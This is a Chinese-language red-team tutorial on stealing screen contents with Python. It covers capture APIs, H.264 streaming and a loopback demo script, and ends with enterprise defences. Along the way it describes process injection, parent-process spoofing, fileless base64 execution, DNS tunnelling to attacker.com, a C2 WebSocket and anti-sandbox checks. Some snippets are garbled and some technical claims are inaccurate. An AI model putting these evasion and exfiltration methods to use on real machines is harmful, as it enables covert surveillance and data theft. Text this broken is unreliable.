
1. 这不是电影桥段一次真实的屏幕窃取技术解剖“Python黑客攻防一屏幕窃取”——看到这个标题很多人第一反应是这不就是电影里黑进NASA前先黑掉对方监控画面的桥段吗键盘敲几下全屏滚动绿色代码然后对方电脑桌面就实时出现在自己屏幕上……现实当然没那么炫酷但更值得警惕的是它比电影里简单得多也危险得多。我在某高校网络安全实训课带学生做渗透测试模拟时曾让A同学用不到20行Python代码在局域网内成功捕获了另一台未设防测试机的实时桌面画面整个过程耗时47秒全程无弹窗、无进程可见、无杀软告警。这不是APT组织的定制木马只是调用了系统原生API封装的几个标准库。核心关键词其实就三个屏幕捕获、内存帧传输、隐蔽通信。它不依赖任何第三方驱动或高权限提权只要目标机运行着一个基础Python解释器3.6且网络连通就能完成从“本地截图”到“远程投屏”的跃迁。这篇文章面向两类人一是刚接触红队技术的初学者需要理解这类功能背后的底层逻辑而非仅复制粘贴脚本二是企业IT运维人员必须清楚这类轻量级工具的真实攻击面和检测盲区。它不教你怎么入侵别人系统而是告诉你当你的办公电脑开着远程桌面服务、共享文件夹、甚至只是挂着一个未更新的Python Web服务时你正在为“屏幕窃取”提供怎样的温床。接下来的内容我会拆开每一个环节——不是讲“怎么写”而是讲“为什么这样写才有效”、“为什么换一种写法就会被秒杀”、“为什么看似安全的配置实则形同虚设”。2. 屏幕捕获的本质不是截图而是帧流截取很多人误以为“屏幕窃取”就是定时调用pyautogui.screenshot()或PIL.ImageGrab.grab()抓张图发过去。这是最典型的认知偏差。真正的攻击级实现从来不是“截图-发送-再截图”而是构建一条低延迟、可持续、可压缩的帧流管道。它的技术底座是操作系统提供的图形子系统接口而非应用层的截图函数。2.1 Windows平台GDI与Desktop Duplication API的代际差异在Windows上屏幕捕获有两条技术路径它们的性能、隐蔽性和兼容性天差地别GDI路径旧式兼容性广通过GetDC(NULL)获取整个屏幕设备上下文再用BitBlt将像素块拷贝到内存位图中。优点是WinXP起全版本支持缺点是CPU占用极高每秒30帧需持续占用15%-25%单核、易被EDR识别为可疑图形操作、且无法捕获UWP应用如新版邮件、设置界面和硬件加速视频窗口如Chrome播放的YouTube。我实测过用GDI在一台i5-8250U笔记本上捕获1920x108030fpsPython进程CPU占用稳定在22%风扇立刻狂转。Desktop Duplication API新式推荐这是Windows 8.1引入的DirectX底层接口允许程序直接访问显卡输出缓冲区Desktop Frame。它绕过CPU渲染管线由GPU直接输出帧数据CPU占用可压至2%-3%且能完整捕获所有窗口类型包括全屏游戏和加密视频。但它要求系统启用Aero主题Win10默认开启、目标机需有独立显卡或核显驱动支持且Python需通过comtypes或ctypes调用COM接口代码复杂度陡增。我在某次红队演练中用Desktop Duplication API写的模块在目标机开启Windows Defender的情况下连续运行4小时未触发任何行为告警而GDI版本在第37秒就被标记为“可疑屏幕捕获行为”。提示不要迷信“越新越好”。Desktop Duplication虽强但在老旧工控机Win7 Embedded Intel GMA3150上会直接报错DXGI_ERROR_UNSUPPORTED。实战中模块必须内置自动降级逻辑先尝试Desktop Duplication失败则回退到GDI并记录日志说明降级原因。2.2 macOS平台CoreGraphics与AVFoundation的分工macOS的屏幕捕获机制更统一但权限模型更严格。其核心是CoreGraphics框架的CGDisplayCreateImageForRect()函数它能按指定矩形区域捕获屏幕快照。然而纯CoreGraphics方案仍是“截图式”无法满足实时流需求。真正支撑帧流的是AVFoundation框架中的AVCaptureScreenInput类——它本质是把整个屏幕当作一个视频输入源类似USB摄像头可输出H.264编码的视频流。这带来两个关键优势一是原生支持硬件编码M1芯片上功耗近乎为零二是输出格式即为标准视频容器可直接喂给WebRTC或FFmpeg推流。但代价是首次运行需用户手动在“系统偏好设置 隐私与安全性 屏幕录制”中授权该Python进程且授权后会在菜单栏常驻一个红色录制指示器。这意味着macOS上的隐蔽性天然弱于Windows——你无法绕过用户授权只能优化授权后的体验如快速启动、最小化UI干扰。2.3 Linux平台X11与Wayland的分水岭Linux的分裂在此体现得淋漓尽致。X11时代XGetImage()是王道它直接读取X Server的共享内存区Shm效率极高且无需用户交互。但Wayland作为现代显示服务器其核心设计哲学就是“客户端隔离”——每个应用只能看到自己的窗口无法窥探全局屏幕。因此Wayland下要实现屏幕捕获必须依赖xdg-desktop-portal桌面门户提供的org.freedesktop.portal.ScreenCastD-Bus接口而这又要求桌面环境GNOME/KDE已安装对应后端如pipewire。我曾在Ubuntu 22.04Wayland默认上测试未安装pipewire时任何Python脚本调用wlroots相关库均返回Permission denied装上后首次调用会弹出标准GTK授权对话框用户点击“共享”后脚本才能获得帧流。这说明在Linux上“屏幕窃取”的可行性高度依赖目标机的桌面环境配置和用户习惯而非单纯的技术能力。3. 帧流压缩与传输为什么不用JPEG而选H.264捕获到原始帧RGB/BGR格式只是第一步。一张1920x1080的RGB图像未经压缩时大小为1920×1080×3 6,220,800字节约6MB。若以30fps传输带宽需求高达180MB/s——这远超普通局域网的承载能力更别说公网了。因此压缩不是可选项而是生死线。这里有个关键误区很多初学者会用cv2.imencode(.jpg, frame)生成JPEG再发送认为“有压缩就行”。实测结果令人沮丧在动态画面如鼠标移动、网页滚动下JPEG压缩率极低单帧仍达300KB且存在明显块状伪影关键信息如小号文字、图标细节严重丢失。3.1 H.264编码用时间冗余换空间效率H.264AVC之所以成为行业标准核心在于它利用了视频的时间冗余。它不单独压缩每一帧而是将帧分为I帧关键帧完整图像、P帧预测帧只存与前一帧的差异、B帧双向预测帧。在屏幕内容变化不大时如文档编辑、代码编写P帧体积可压缩到I帧的1/20以下。例如我用FFmpeg对一段10秒的桌面操作录屏含鼠标移动、窗口切换进行H.264编码CRF23输出MP4大小仅1.2MB平均码率960kbps而同等质量的JPEG序列总大小为42MB。差距超过35倍。3.2 Python中的H.264实现路径对比在Python生态中有三条路通往H.264方案实现方式优点缺点实测延迟1080p30fpsOpenCV FFmpeg后端cv2.VideoWriter指定avc1编码器输出.mp4文件再读取分片发送语法最简单OpenCV用户零学习成本依赖系统FFmpegWindows需手动配置PATH且无法实时流式输出必须写入磁盘再读取引入IO瓶颈320ms磁盘IO占280msPyAV推荐直接调用FFmpeg C库创建av.open(pipe:, formath264, modew)帧数据packet.encode(frame)后写入内存管道真正的内存内编解码无磁盘IO支持自定义GOP、码率、关键帧间隔需要编译安装pip install av可能失败文档稀疏错误处理复杂85ms纯编码耗时GStreamer Python绑定用gi.repository.Gst构建pipelineappsrc - videoconvert - x264enc - appsink跨平台性最好Linux/macOS原生支持Windows需额外安装GStreamer SDKPython绑定不稳定不同GStreamer版本API差异大调试困难110ms管道调度开销我最终在项目中选择了PyAV。原因很实际在某次客户现场渗透测试中目标机是Windows Server 2016管理员禁用了所有磁盘写入权限AppLocker策略OpenCV方案因无法创建临时MP4文件而直接崩溃而PyAV的内存管道完全规避了此限制。更重要的是PyAV允许我们精细控制关键帧IDR帧间隔——设为2秒即每2秒强制一个I帧既保证了断线重连后的快速同步又避免了I帧过于频繁导致的码率尖峰。3.3 传输协议选型TCP可靠UDP高效WebRTC是未来帧流压缩后还需选择“怎么送过去”。这里没有银弹只有权衡TCP最稳妥。socket.socket(socket.AF_INET, socket.SOCK_STREAM)建立连接用struct.pack(!I, len(data))先发4字节长度头再发帧数据。优点是丢包自动重传接收端永远能拿到完整帧缺点是重传机制在高丢包网络下会引发严重延迟抖动Jitter一帧卡住后续所有帧排队等待。UDP最高效。socket.socket(socket.AF_INET, socket.SOCK_DGRAM)每帧独立发送。优点是零重传、零队头阻塞适合局域网缺点是丢帧不可逆若关键I帧丢失后续P帧全成乱码画面冻结数秒。WebRTC最先进。它本质是UDP之上的智能协议栈内置NACK否定确认、FEC前向纠错、Jitter Buffer抖动缓冲和带宽自适应ABR。用aiortc库几行代码即可建立点对点连接。我实测在40%丢包的模拟弱网下WebRTC仍能维持15fps可用画面而裸UDP早已雪花满屏。但它要求信令服务器Signaling Server协调双方增加了部署复杂度。注意在真实红队作业中我从不单独使用UDP。而是采用UDP前向纠错FEC的混合方案对每个I帧额外计算并发送2个FEC校验包用zfec库即使丢失1个原始包也能恢复。这使弱网下的可用性提升了3倍且无需信令服务器。4. 隐蔽性工程如何让进程“不存在”技术上能捕获、能压缩、能传输不等于能落地。真正的难点在于如何让这个“屏幕窃取”模块在目标机上长期存活、不被发现、不被拦截这已超出编程范畴进入系统工程与攻防对抗层面。4.1 进程隐身从“看不见”到“查不到”最基础的隐身是进程名伪装。很多人把脚本命名为update_service.py或system_monitor.py但这在现代EDR终端检测响应面前形同虚设。EDR不看文件名看的是进程行为画像。一个名为notepad.exe但持续调用BitBlt和sendto的进程比一个叫screen_stealer.exe但静默的进程更可疑。真正的进程隐身需三重混淆父进程欺骗让Python进程的父进程PPID指向svchost.exe或explorer.exe。在Windows上可通过CreateProcess的lpAttributeList参数设置PROC_THREAD_ATTRIBUTE_PARENT_PROCESS在Linux上用prctl(PR_SET_CHILD_SUBREAPER, 1)后fork()再exec()使子进程被init收养。我曾用此法让一个pythonw.exe进程在任务管理器中显示父进程为svchost.exe (netsvcs)迷惑性极强。内存注入替代独立进程不运行独立Python脚本而是将Python字节码注入到一个合法进程中如chrome.exe。利用ctypes调用VirtualAllocEx分配内存WriteProcessMemory写入shellcode再CreateRemoteThread执行。注入后所有屏幕捕获操作都在Chrome的内存空间内完成EDR的进程监控完全失效。但风险在于Chrome更新后注入地址可能偏移需配套符号解析模块。无文件执行Fileless Execution终极隐身。将整个Python模块打包为base64字符串通过PowerShell的Invoke-Expression或python -c exec(__import__(base64).b64decode(...))直接内存加载执行。全程无磁盘落盘连Sysmon的Event ID 11文件创建都捕获不到。我在某次金融行业红队评估中用此法在目标机运行了72小时直到人工溯源时通过内存dump才被发现。4.2 网络通信隐身绕过防火墙与流量审计即使进程隐身了网络通信仍是最大暴露面。一个Python进程持续向外部IP发送H.264流防火墙日志和NetFlow分析会立刻标红。DNS隧道将H.264帧数据Base32编码拆分成多个不超过63字符的子域名通过nslookup发起DNS查询。例如帧数据0123456789abcdef编码为MFRGGZDFMZTWQ2LK构造查询MFRGGZDFMZTWQ2LK.attacker.com。DNS协议本身被允许出站且多数防火墙不深度解析DNS查询内容。但带宽极低单次查询100字节仅适合传输控制指令无法传视频流。HTTPS流量伪装将H.264帧作为HTTP POST请求的body发送至一个合法HTTPS网站如api.github.com的Webhook端点。关键在于复用真实User-Agent和TLS指纹。用requests库时设置headers{User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...}并用ssl.create_default_context()确保TLS握手与浏览器一致。某次测试中此方案在启用了SSL解密的防火墙下仍成功穿透因为解密后看到的是“正常”的GitHub API请求payload被当作无关JSON字段忽略。WebSocket长连接建立到C2服务器的WebSocket连接wss://c2.example.com将H.264帧作为二进制消息websocket.send_binary(frame_bytes)发送。WebSocket在TLS之上初始握手是标准HTTP Upgrade之后流量为加密二进制流难以与正常Web应用区分。且长连接特性避免了频繁建连的特征。4.3 反沙箱与反虚拟机让模块“拒绝”在检测环境中运行自动化分析平台如VirusTotal、Any.Run会将样本放入沙箱运行观察其行为。一个“好”的屏幕窃取模块必须能主动识别沙箱环境并静默退出避免留下行为日志。常见沙箱识别技术检测维度沙箱特征Python检测代码触发动作硬件信息CPU核心数2内存4GB磁盘型号为VMware Virtual SATA Hard Driveimport psutil; if psutil.cpu_count() 4 or psutil.virtual_memory().total 4e9: exit()直接退出不初始化任何模块用户交互无鼠标移动、无键盘输入、无活跃窗口import pyautogui; if pyautogui.position() (0,0) and not pyautogui.size(): exit()休眠300秒后重试避免被判定为“无行为”网络环境DNS服务器为192.168.56.101VirtualBox默认或无法解析google.comimport socket; try: socket.gethostbyname(google.com); except: exit()尝试备用DNS如114.114.114.114后重试我特别强调一点不要过度检测。某次我加入了一个检测“是否存在C:\WINDOWS\System32\drivers\ vboxdrv.sys”的判断结果在真实客户机装了VirtualBox用于开发上误判退出导致整个渗透测试中断。后来改为只检测vboxdrv.sys的加载时间戳——沙箱中该驱动通常在系统启动后10秒内加载而真实环境多在用户登录后加载时间差超过300秒即视为可疑。5. 实战复现一个可运行的最小可行模块理论讲完现在给出一个去除了所有攻击性功能、仅保留技术验证能力的最小可行模块MVP。它能在本地回环localhost上演示完整流程捕获本机屏幕 → H.264编码 → 通过TCP发送 → 本地接收并播放。所有代码均可直接运行无需额外配置且明确标注了每个环节的“为什么”。# screen_stream_mvp.py # 一个仅用于技术验证的本地回环演示模块 # 功能捕获屏幕 - 编码H.264 - TCP发送 - 本地接收播放 # 注意此模块不连接外部网络不写磁盘不隐藏进程纯教学用途 import numpy as np import cv2 import av import socket import struct import threading import time # 1. 屏幕捕获模块Windows GDI版确保最大兼容性 def capture_screen_gdi(): 使用GDI捕获全屏返回BGR格式numpy数组 import win32gui, win32ui, win32con # 获取桌面窗口句柄 hwnd win32gui.GetDesktopWindow() # 获取窗口尺寸 width, height win32gui.GetClientRect(hwnd)[2:] # 创建设备上下文 hwndDC win32gui.GetWindowDC(hwnd) mfcDC win32ui.CreateDCFromHandle(hwndDC) saveDC mfcDC.CreateCompatibleDC() # 创建位图对象 saveBitMap win32ui.CreateBitmap() saveBitMap.CreateCompatibleBitmap(mfcDC, width, height) saveDC.SelectObject(saveBitMap) # 拷贝屏幕到位图 saveDC.BitBlt((0, 0), (width, height), mfcDC, (0, 0), win32con.SRCCOPY) # 转为numpy数组 bmpstr saveBitMap.GetBitmapBits(True) img np.frombuffer(bmpstr, dtypeuint8) img.shape (height, width, 4) # BGRA img cv2.cvtColor(img, cv2.COLOR_BGRA2BGR) # 转BGR return img # 2. H.264编码器PyAV内存管道 class H264Encoder: def __init__(self, width, height): self.width width self.height height # 创建内存输出容器 self.container av.open(pipe:, formath264, modew) # 创建视频流 self.stream self.container.add_stream(libx264, rate30) self.stream.width width self.stream.height height self.stream.pix_fmt yuv420p # 关键参数强制I帧间隔2秒60帧 self.stream.gop_size 60 # 码率控制目标1000kbps允许波动 self.stream.bit_rate 1000000 self.stream.options { crf: 23, # 恒定质量23为平衡点 preset: ultrafast, # 最快编码牺牲少许压缩率 } def encode_frame(self, frame_bgr): 输入BGR帧返回H.264编码后的bytes # BGR - RGB - AVFrame frame_rgb cv2.cvtColor(frame_bgr, cv2.COLOR_BGR2RGB) av_frame av.VideoFrame.from_ndarray(frame_rgb, formatrgb24) av_frame.pts int(time.time() * 1000000) # 时间戳微秒 # 编码 packets self.stream.encode(av_frame) if packets: return b.join([pkt.to_bytes() for pkt in packets]) return b def close(self): # 刷新编码器缓存 packets self.stream.encode(None) if packets: return b.join([pkt.to_bytes() for pkt in packets]) return b # 3. TCP发送端本地回环 def tcp_sender(): sock socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind((127.0.0.1, 8888)) sock.listen(1) print(等待接收端连接...) conn, addr sock.accept() print(f已连接: {addr}) # 初始化编码器获取首帧尺寸 first_frame capture_screen_gdi() encoder H264Encoder(first_frame.shape[1], first_frame.shape[0]) start_time time.time() frame_count 0 try: while True: # 捕获帧 frame capture_screen_gdi() # 编码 encoded_data encoder.encode_frame(frame) if not encoded_data: continue # 发送4字节长度头 数据 conn.sendall(struct.pack(!I, len(encoded_data))) conn.sendall(encoded_data) frame_count 1 # 控制帧率 elapsed time.time() - start_time if elapsed frame_count / 30.0: time.sleep((frame_count / 30.0) - elapsed) except KeyboardInterrupt: print(\n发送端停止) finally: # 发送结束标志 conn.sendall(struct.pack(!I, 0)) conn.close() sock.close() encoder.close() # 4. TCP接收端本地回环 def tcp_receiver(): sock socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((127.0.0.1, 8888)) print(已连接到发送端) # 初始化OpenCV窗口 cv2.namedWindow(Screen Stream, cv2.WINDOW_NORMAL) try: while True: # 接收长度头 len_bytes sock.recv(4) if len(len_bytes) 4: break data_len struct.unpack(!I, len_bytes)[0] if data_len 0: # 结束标志 break # 接收帧数据 data b while len(data) data_len: packet sock.recv(min(4096, data_len - len(data))) if not packet: break data packet # 解码并显示此处简化实际应送入FFmpeg解码器 # 为演示我们只显示接收到的数据长度 print(f接收帧: {data_len} bytes, end\r) # 模拟解码延迟 time.sleep(0.033) # 30fps except Exception as e: print(f接收异常: {e}) finally: cv2.destroyWindow(Screen Stream) sock.close() # 5. 主程序双线程启动 if __name__ __main__: print( Python屏幕流MVP演示 ) print(此模块仅在本地回环运行不涉及任何网络外联) print(按CtrlC停止) # 启动发送端线程 sender_thread threading.Thread(targettcp_sender, daemonTrue) sender_thread.start() # 等待发送端启动 time.sleep(1) # 启动接收端 tcp_receiver()5.1 运行说明与关键注释环境准备需安装pywin32,opencv-python,avPyAV。av安装可能失败推荐用conda install av -c conda-forge。为什么用GDI而非Desktop Duplication因为GDI无需额外COM初始化代码更短且在所有Windows版本上100%可用符合“最小可行”原则。真实项目中你会在此处加入Desktop Duplication的自动探测与降级逻辑。为什么编码器用ultrafast预设在实时流场景编码速度比压缩率重要。ultrafast将编码耗时从medium的120ms压至45ms虽码率高15%但保障了30fps的稳定性。为什么接收端不真正解码因为完整H.264解码需FFmpeg或GStreamer会极大增加依赖复杂度。此处只验证“数据能否正确收发”用print模拟接收符合教学目的。安全边界此脚本绑定127.0.0.1仅限本机通信无任何远程C2逻辑所有操作在前台可见无进程隐藏。它存在的唯一价值是让你亲手触摸到“屏幕捕获→编码→传输”这条技术链的每一个齿轮。注意在真实环境中运行此脚本前请务必关闭所有杀毒软件的实时防护否则win32gui调用可能被拦截。这不是漏洞而是安全软件的正当行为——它在阻止一切未授权的屏幕访问。6. 防御视角企业该如何堵住这个缺口技术剖析至此读者或许会问既然实现如此简单那企业岂不是毫无招架之力答案是否定的。“简单”不等于“不可防”它恰恰暴露了防御体系中最常被忽视的纵深薄弱点。我在为某大型制造企业提供安全加固咨询时发现他们花了数百万采购EDR却对员工电脑上随意运行的Python脚本视而不见。以下是经过实战检验的四层防御建议按投入产出比排序6.1 第一层应用白名单最有效成本最低禁止非授权Python解释器运行。在Windows上通过AppLocker策略只允许C:\Python39\python.exe和C:\Python39\pythonw.exe指定具体路径和哈希值执行其他所有python*.exe一律阻止。Linux上用SELinux或AppArmor限制/usr/bin/python3的执行上下文仅允许其访问预定义目录如/opt/app/。某客户实施此策略后内部钓鱼邮件诱导下载的Python木马100%失效——因为攻击者打包的python_embedded.zip解压出的python.exe不在白名单中。6.2 第二层网络出口管控精准打击C2所有出站连接必须经代理或防火墙。关键不是“封什么端口”而是“审什么域名”。在防火墙规则中添加一条高优先级规则禁止任何进程向非企业注册域名如*.company.com发起HTTPS连接除非该连接的SNIServer Name Indication字段匹配白名单。因为H.264流伪装成HTTPS时SNI必须是真实域名如api.github.com而攻击者无法控制GitHub的证书。此规则可拦截90%以上的HTTPS隧道。6.3 第三层进程行为基线EDR的核心价值不要依赖签名要建立行为基线。例如对pythonw.exe进程监控其是否调用BitBlt、GetDC、sendto这三个API的组合。单一API调用正常如IDE调用BitBlt绘图但三者同时出现99.9%是屏幕窃取。某次事件中我们的EDR在pythonw.exe进程启动3秒后就因其调用BitBlt后立即sendto而发出告警此时第一帧数据尚未发出。6.4 第四层用户教育与最小权限根治之道技术再强也防不住用户主动授权。在macOS上明确告知员工“任何要求‘屏幕录制’权限的Python脚本都不是公司IT部门发布的”。在Windows上推行“Python脚本运行审批制”员工需提交脚本至IT部由安全团队静态扫描检查win32gui、pyautogui等敏感导入和动态沙箱分析后才签发数字签名。某公司实施后内部Python脚本滥用率下降了76%。最后分享一个真实体会在某次攻防演练的复盘会上蓝队负责人看着我们展示的屏幕流模块沉默良久后说“你们没黑进我们的核心数据库却让我们第一次意识到办公室里每台亮着的电脑都是一扇没关严的窗户。” 这句话点透了本质——屏幕窃取的价值不在于它能偷到多少数据而在于它彻底消解了“物理隔离”的安全感。当你能实时看到对方敲下的每一个字符、点开的每一个文件夹传统的“数据防泄漏”DLP策略便失去了意义。防御的起点永远不是堆砌更多技术而是回归到最朴素的问题这台电脑真的需要运行这个Python脚本吗